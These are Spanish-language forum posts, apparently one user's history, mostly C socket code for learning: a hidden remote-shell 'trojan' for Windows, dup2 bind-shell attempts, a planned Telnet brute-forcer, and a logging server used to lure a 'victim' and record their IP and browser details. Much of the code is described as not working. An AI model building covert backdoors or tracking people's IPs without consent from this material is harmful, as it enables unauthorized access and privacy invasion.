newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

log=fopen (filename, "a+");
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
printf ("%d", cont);
log=fopen (filename, "a+");
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s ", cont-2, buffer);
fprintf (log, "RECV %d bytes: %s\n", cont-2, buffer);
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
}
log=fopen (filename, "a+");
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);
close (newsocket);
}
close (socketfd);
return 0;
}


Si alguien cree que algo se puede mejorar, que postee xD
#33
Buenas, he desarrollado un programa que se conecta a X ip y escribe datos. El caso es que al poner el NC a la escucha se conectan pero no reciben datos...

while (cont!=0)
{
printf ("> ");
fgets (buffer, 1024, stdin);
cont=send (newsock, &buffer, strlen (buffer), 0);
}


NC:
Citarnc -vlp 31337

Compilen y pongan uno a correr y el otro a la escucha en el mismo PC....
Se conectan y se desconectan sin decir nada....

Tambien pueden probar a meter un send y quitar todo el while, y el NC tampoco lo recibe. Tiene que ser un fallo en la conex... donde???
Me pueden ayudar???



EDITO:
Ya va correctamente jaja. El problema estaba en que mandaba los datos a newsock, que no estaba conectado....

while (cont!=0)
{
printf ("> ");
fgets (buffer, 1024, stdin);
cont=send (sockfd, &buffer, strlen (buffer), 0);
}
#34
GNU/Linux / ¿¿¿ Small Linux Version Reducida ???
20 Noviembre 2010, 18:42 PM
Buenas, estoy buscando un sistema operativo Linux sin X, y con los comandos basicos. Solo con lo minimo, y sin interfaz grafica. Evidentemente de poco peso. Conocen alguna distribucion o descarga parecida a lo que busco???

Por favor respondan lo antes posible... Muchas gracias de adelantado.
#35
Buenas, me ha surgido una duda bien sencilla, pero que no se resolver. Quiero decir:
Como hago para que mi programa haga diferentes cosas segun la linea de comandos. No me refiero al tipico argv [], sino a hacer un programa como un mini-NC en el que tu le indiques si quieres conectar,  abrir puertos, etc. La magia de este programa es la gran cantidad de opciones que da, fruto de un gran trabajo sin duda. Lo que quiero decir que el programa sepa identificar:
kc -l -p 31337
como
kc -v 192.168.1.1 -p 80
como
kc 192.168.1.1 -d
como infinitas posibilidades mas.

Si se dan cuenta estan en distintas posibilidades, el problema es que son infinitas...
Leyendo el code de NC te das cuenta de que todo esta organizado con flags y switches, pero como puedo hacerlo + sencillamente???

Si no me entienden pregunten, pues tengo mucho interes....
Gracias
#36
Redes / Optencion de IP privada por mi programa
18 Noviembre 2010, 21:08 PM
Buenas, desarrolle un programa que recogia la Ip del que se conectase a mi ordenador en el puerto 80.
El caso es que no me di cuenta que tengo un router ADSL que me hace mi Ip privada, y si la intento rastrear para decirsela a mi victima me dice la de mi router.
Como hago que mi ip sea publica?
Otro metodo seria Hotmail, pero me interesa eso porque la peticion del navegador incluye info. importante como versiones, etc... xD

La cosa seria hacer mi Ip privada. De redes fuera de programacion no tengo muxa idea, a ver si me pueden ayudar xD...
Posteare el programa el 1 de dic. pues voy a modif. para el concurso de programacion xD pero solo guarda la peticion del navegador y algo mas. Lo voy a hacer un mini-server xD...

Gracias de adelantado!
#37
Programación C/C++ / Duda IP !!!
13 Noviembre 2010, 11:36 AM
Buenas, escribo este post para preguntar lo siguiente: ¿Como puedo sacar una IP de un sistema, cuando tengo un router (conex. privada)?

Para obtener la IP, lo que hice fue un sencillo programa, abajo posteado, que me dijese la IP y el puerto de quien se conectase a mi ordenador. El programa espera una conex. en determinado puerto, y si alguien se conecta, consigo su IP.  El caso es que mis pruebas no funcionan debido a que al iniciar el programa resulta que al obtener una conex. que yo abro desde Firefox me dice la IP de mi ordenador, privada: 192.168....
Lo cual no sirve. Estoy programando en C, Linux, ADSL

Alguna idea en el codigo, u forma?
#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <arpa/inet.h>



int sockfd, newsock;



int finalizar (int state)

{

printf("[+] Finalizando...");

close (sockfd);

        close (newsock);

printf("\t[OK]\n\n");

exit (state);

}



int main ()

{

printf ("\n");

printf ("#***************************************#\n");

printf ("#       -[ GetIP - by Sagrini ]-        #\n");

printf ("#  -----------------------------------  #\n");

printf ("#          Hacking programming          #\n");

printf ("#***************************************#\n\n\n");



struct sockaddr_in host, client;

int a=sizeof (struct sockaddr);

char pass [30];



printf("[+] Creando el Socket...");



if ((sockfd=socket (2, 1, 0))!=-1) printf ("[OK]\n");

else {printf("[FAIL]\n"); finalizar (1);}



host.sin_port=htons(31337);

host.sin_family=AF_INET;

host.sin_addr.s_addr=0;

memset (host.sin_zero, 0, 8);



printf ("[+] Bindeando...");

if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1) {printf("\t[FAIL]\n"); finalizar (1);}

else printf ("\t[OK]\n");



printf ("[+] Listening...");

if(listen(sockfd,5)==-1) {printf("\t[FAIL]\n");finalizar (1);}

else printf("\t[OK]\n");



printf("[+] Esperando cliente...");

if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1) {printf("[FAIL]\n");finalizar (1);}

else printf("[OK]\n\n");



printf("[+] Conexion establecida con %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));;

finalizar (0);

}



Gracias
#38
Programación C/C++ / [C] University Post
5 Octubre 2010, 20:09 PM
Buenas, soy Sagrini, un "cliente" habitual de este foro. Me he dado cuenta de que (aún) no existe ningún post que recoja los diferentes post de "tareas de universidad". Me explico: En este foro hay mucha gente que aún no está en la universidad, y le quedan varios años (como yo xD ya tengo 11). Por lo que propongo ir recogiendo aqui post de tareas (OBLIGATORIAMENTE PASADA LA FECHA DE ENTREGA DE ESTAS), que recogan problemas de todo tipo de programación en la universidad. Estos se pueden ir colgando en diferentes hilos de este post. Así ayudarán a algunos que no somos tan afortunados de estar en la universidad xD...

En resumen: Cada uno cuelga algunas tareas o preguntas que se den en clase, y así todos podemos pensar en ellas. Aviso que está prohibido hacer tareas, por lo que la pregunta debe ir acompañanda de su respuesta propia y de la fecha de entrega final.

Espero su colaboración, y les propongo un pequeño code para hacer raices cuadradas perfectas del 1 al 1000 (nos amenazaron con ponernoslas de deberes, y las hice por computer xD).
http://www.scribd.com/doc/38770692/sqrt


Espero su colaboracion y opinion
Saludos
#39
Programación C/C++ / Projecto EvilBruteforce
14 Septiembre 2010, 18:33 PM
Buenas, estoy trabajando en un bruteforce de Telnet, llamado Evil Bruteforce. El caso es que para hacerlo primero hice un server telnet, solo que en el port 31337, pues es una prueba. Sin embargo, tengo dos problemillas con el server:
1. Presentación: Este, aunque es un fallo sin importancia, me mosquea. Despues del listening, deberia aparecer un letrerito "
  • Esperando cliente...", pero no sale hasta que alguien se conecta. El segundo fallo tiene mas importancia, pero me gustaria saber pork no va...
    2. Fallos continuos: Si compilan mi server, este va la primera vez. Solo hay que meter la contraseña para que el bruteforce sea sencillo, pero luego lo  perfeccionare xD. Sin embargo, al correr la segunda vez, suelta un fallo en Binding. Estos fallos se producen porque no se tienen privilegios para hacer el binding (puertos bajos), o que el port esta usado. Si el port esta usado es porque: o no cerre bien el port cuando acabe el primer programa, o otro programa lo esta usando (el primero no se ha cerrado y sigue operativo). Para resolver estas dos cuestiones cree una funcion de acabado de programa, y quite el bucle for () infinito. Aun asi, no va.

    Alguien me puede ayudar???
    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <sys/socket.h>

    #include <arpa/inet.h>



    int sockfd, newsock;



    int finalizar (int state)

    {

       printf("[+] Finalizando...");

       close (sockfd);

           close (newsock);

       printf("\t[OK]\n\n");

       exit (1);

    }



    int main ()

    {

    printf ("\n");

    printf ("#*************************************#\n");

    printf ("# -[ EvilBruteforce.0 - by Sagrini ]- #\n");

    printf ("#  ---------------------------------  #\n");

    printf ("#          Telnet Bruteforce          #\n");

    printf ("#*************************************#\n\n\n");


       struct sockaddr_in host, client;

       int a=sizeof (struct sockaddr);

       char pass [30];



       printf("[+] Creando el Socket...");

       if ((sockfd=socket (2, 1, 0))!=-1)

           printf ("[OK]\n");

       else

       {

           printf("[FAIL]\n");

           finalizar (1);

       }

       host.sin_port=htons(31337);

       host.sin_family=AF_INET;

       host.sin_addr.s_addr=0;

       memset (host.sin_zero, 0, 8);



       printf ("[+] Bindeando...");

       if(bind(sockfd,(struct sockaddr*)&host,sizeof(host))==-1)

       {

           printf("\t[FAIL]\n");

           finalizar (1);

       }

       printf ("\t[OK]\n");



       printf ("[+] Listening...");

       if(listen(sockfd,5)==-1)

       {

           printf("\t[FAIL]\n");

           finalizar (1);

       }

       else

           printf("\t[OK]\n");



       printf("[+] Esperando cliente...");

       if((newsock=accept(sockfd, (struct sockaddr*)&client, &a))==-1)

       {

           printf("[FAIL]\n");

           finalizar (1);

       }

       else

           printf("[OK]\n\n");



       printf("[+] Conexion establecida.\n");

       send (newsock, "Password: ", 11, 0);

       recv (newsock, &pass, 30, 0);

       if (strcmp (pass, "strike\n")==1)

       {

           printf (" ==> Access granted\n\n");

           send (newsock, " ==> Access granted.\n\n", 23, 0);

       }

       else

       {

           printf (" ==> Access denied.\n\n");

           send (newsock, " ==> Access denied.\n\n", 22, 0);

       }

       finalizar (0);

    }



    Evidentemente, este code es bastante simple, pero no funciona como deberia. Pueden ayudarme?
    Saludos y muchas gracias.
#40
Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

HANDLE Out, In, Err;
HANDLE hThread[3];
DWORD IDThread[3];
STARTUPINFO Stup;
SOCKET newsock;
SOCKET sockfd;

DWORD WINAPI Lectura(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}
DWORD WINAPI Escritura(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(In, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}
DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}

int ShellCode ()
{
CreatePipe (&Out, &Out, NULL, 0);
CreatePipe (&In, &In, NULL, 0);
CreatePipe (&Err, &Err, NULL, 0);

Stup.cb=sizeof (Stup);
Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
Stup.wShowWindow = 0;
Stup.hStdOutput = Out;
Stup.hStdError = Err;
Stup.hStdInput = In;
CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);

hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);

WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
CloseHandle(hThread[0]);
CloseHandle(hThread[1]);
CloseHandle(hThread[2]);
}

int main ()
{
   WSADATA wsaData;
   WSAStartup(MAKEWORD(2, 0), &wsaData);
   struct sockaddr_in host, client;
   int a=sizeof (struct sockaddr);
   sockfd=socket (2, 1, 0);
   host.sin_family=AF_INET;
   host.sin_addr.s_addr=0;
   host.sin_port=htons (31337);
   memset (host.sin_zero, 0, 8);
   bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
   listen (sockfd, 1);
   while (1)
   {
       newsock=accept (sockfd, (struct sockaddr*)&client, &a);
ShellCode ();
       closesocket (newsock);
   }
   closesocket (sockfd);
   return 0;
}

Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.
#41
Programación C/C++ / Que funcion puedo usar?
4 Septiembre 2010, 17:00 PM
Buenas, pues estaba pensando en como abrir una cmd remota a traves de un troyano. Al principio pense en dup2, pero no me funcionaba correctamente. Se hacer un troyano inverso, pero quiero hacer un de conex. directa: Cuando me conecte, que me salte una cmd remota. Pero no se exactamente como hacerlo. Uso sockets en C.
Espero sus respuestas y sugerencias. Saludos y gracias
#42
Programación C/C++ / Trokan.c Ayuda Windows C
2 Septiembre 2010, 16:26 PM
Buenas, estoy programando un mini-server en C,  que en Linux he desarrollado bastante mejor, pero necesito en Windows.
He escrito este code para ir mejorandolo, pero "algo" hace que se salte el accept y aunque nadie se conecte salta al siguiente paso xD.

El code:

#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

int main ()
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 0), &wsaData);

    struct sockaddr_in host, client;
    int a=sizeof (struct sockaddr);
    SOCKET newsock;
    SOCKET sockfd=socket (2, 1, 0);
    host.sin_family=AF_INET;
    host.sin_addr.s_addr=0;
    host.sin_port=htons (31337);
    memset (host.sin_zero, 0, 8);

    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr*));
    listen (sockfd, 1);
    while (1)
    {
        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
        send (newsock, "Hola!\n", 6, 0);
        printf ("Conex. correcta.\n");
        closesocket (newsock);
    }
    closesocket (sockfd);
    return 0;
}

Qué falla??? Como ven sale infinitamente el printf!!! Y nadie se conecta!!! Y no te puedes conectar!!!

Saludos y gracias

Saludos
#43
Programación C/C++ / Duda Code troyano C
16 Agosto 2010, 15:14 PM
buenas estoy haciendo un troyanito que simplemente abra una cmd en windows, pero tengo un problema:
lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD

les dejo el code: Dev-Cpp Windows 7 C:
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <sys/types.h>

int main ()
{
   WSADATA wsaData;
   WSAStartup(MAKEWORD(1, 1), &wsaData);
   
SOCKET sockfd, newsock;
struct sockaddr_in client, host;
   int a=sizeof (client);

sockfd=socket (2, 1, 0);
host.sin_family=AF_INET;
host.sin_addr.s_addr=0;
host.sin_port=htons (33333);
memset (host.sin_zero, '\0', 8);

bind (sockfd, (struct sockaddr*)&host, sizeof (host));
listen (sockfd, 1);

while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &a);
send (newsock, "Conexion finalizada.\n", 21, 0);
dup2 (STDIN, newsock);
dup2 (STDOUT, newsock);
dup2 (STRERR, newsock);
WinExec ("cmd.exe", SW_NORMAL);
closesocket (newsock);
}

closesocket (sockfd);
return 0;
}


Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.

saludos y gracias

Lh: No hagas doble post.

agradeceria que alguien respondiese

antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main()
{
int sockfd, newsock;
struct sockaddr_in server, client;
int a;

sockfd=socket(2, 1, 0);
server.sin_family = AF_INET;
server.sin_port = htons(31337);
server.sin_addr.s_addr = 0;
memset((struct sockaddr*)server.sin_zero, '\0', 8);

bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr));
listen(sockfd,3);

while(1)
{
a=sizeof(struct sockaddr_in);
newsock=accept(sockfd, (struct sockaddr *)&client, &a);
dup2 (stdin, newsock);
dup2 (stdout, newsock);
dup2 (stderr, newsock);
fprintf (stdin, "Hola");
close (newsock);
}
return 0;
close(sockfd);
}


Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!


Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.


Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?

Saludos y gracias
#44
Programación C/C++ / Como sacar una IP, CODE
17 Julio 2010, 12:58 PM
Bueno, el otro dia postee en el subforo de Messenger, Chats... k como le sacaba la IP "real" a la victima pues la k aparecia en REAL IP, o algo asi, no era la buena...
pues aparte de k si es la buena, se me ocurrio otro metodo + eficaz xD

escribi un programa en C k esperase coenxiones en un puerto a indicar, y lo registrase todo en un archivo.
pues bien, lo k hice fue hacer kill al apache y lo puse en el p 80. le pase mi ip y le dije: "Conectate aki, ya veras... etc."
se conecta y queda registrada la Ip de la victima, con muxa mas info del ordenata destino.

si alguien kiere aplicar la idea, aki les dejo el code xD
#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

void shutup (int signal)
{
FILE *log;
log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Shutting down...\n\n");
fclose (log);
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
FILE *log;
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
log=fopen ("/var/log/smallserver.log", "a+");
fprintf (log,"%s   ", buffer);
fclose (log);
return 0;
}

int main (int argc, char *argv [])
{
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc!=2)
{
printf ("Error:\nUse: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
FILE *log;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Starting up...\n\n");
fclose (log);

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

printf ("Forking process...");
daemon (1, 0);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
printf ("%d", cont);
log=fopen ("/var/log/smallserver.log", "a+");
times ();
buffer [cont-1]='\0';
fprintf (log, "RECV %d bytes: %s \n", cont-2, buffer);
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
}
log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);
close (newsocket);
}
close (socketfd);
return 0;
}


se k es bastante simple, xro me costo un pokito xD k estoi aprendiendo...
si alguien cree k es mejorable, k postee como. estoi interesado (stoi aprendiendo, otra vez xD)
#45
Mensajería / Problemilla Hotmail
16 Julio 2010, 19:05 PM
Buenas, se que este tema sta muy visto y k pensaran: "Joer, otro lammer estupido", xro no es asi, solo k le quiero demostrar a un familiar k tener 14 programas P2P y demas abiertos a la vez es malo, xro necesito la IP, sink se de cuenta.
no me vale la ingenieria social y pense en un correo Hotmail...
me puse a leer un poco (uso Gmail xD no se muxo de eso) y vi la tipica pregunta.
bien:

MI IP al conectarme (COMPROBADO): 192.x.x.33    [tipica]
IP que me sale varias veces:               212.170.48.5

resultado de GeoLocalizador de IP: Madrid [NOPPPPP]



se perfectamente k puede variar x el server, etc...
es estado buscando muxo en como encontrar la real. xro no encuentro la solucion.

como puedo encontrar la real sin ingenieria social? el objetivo tiene Tuenti, MSN, etc...
no creo k valga el "netstat -a" xk eso esta muy pasado xD

llevo tiempo pensando... ayudenme!!!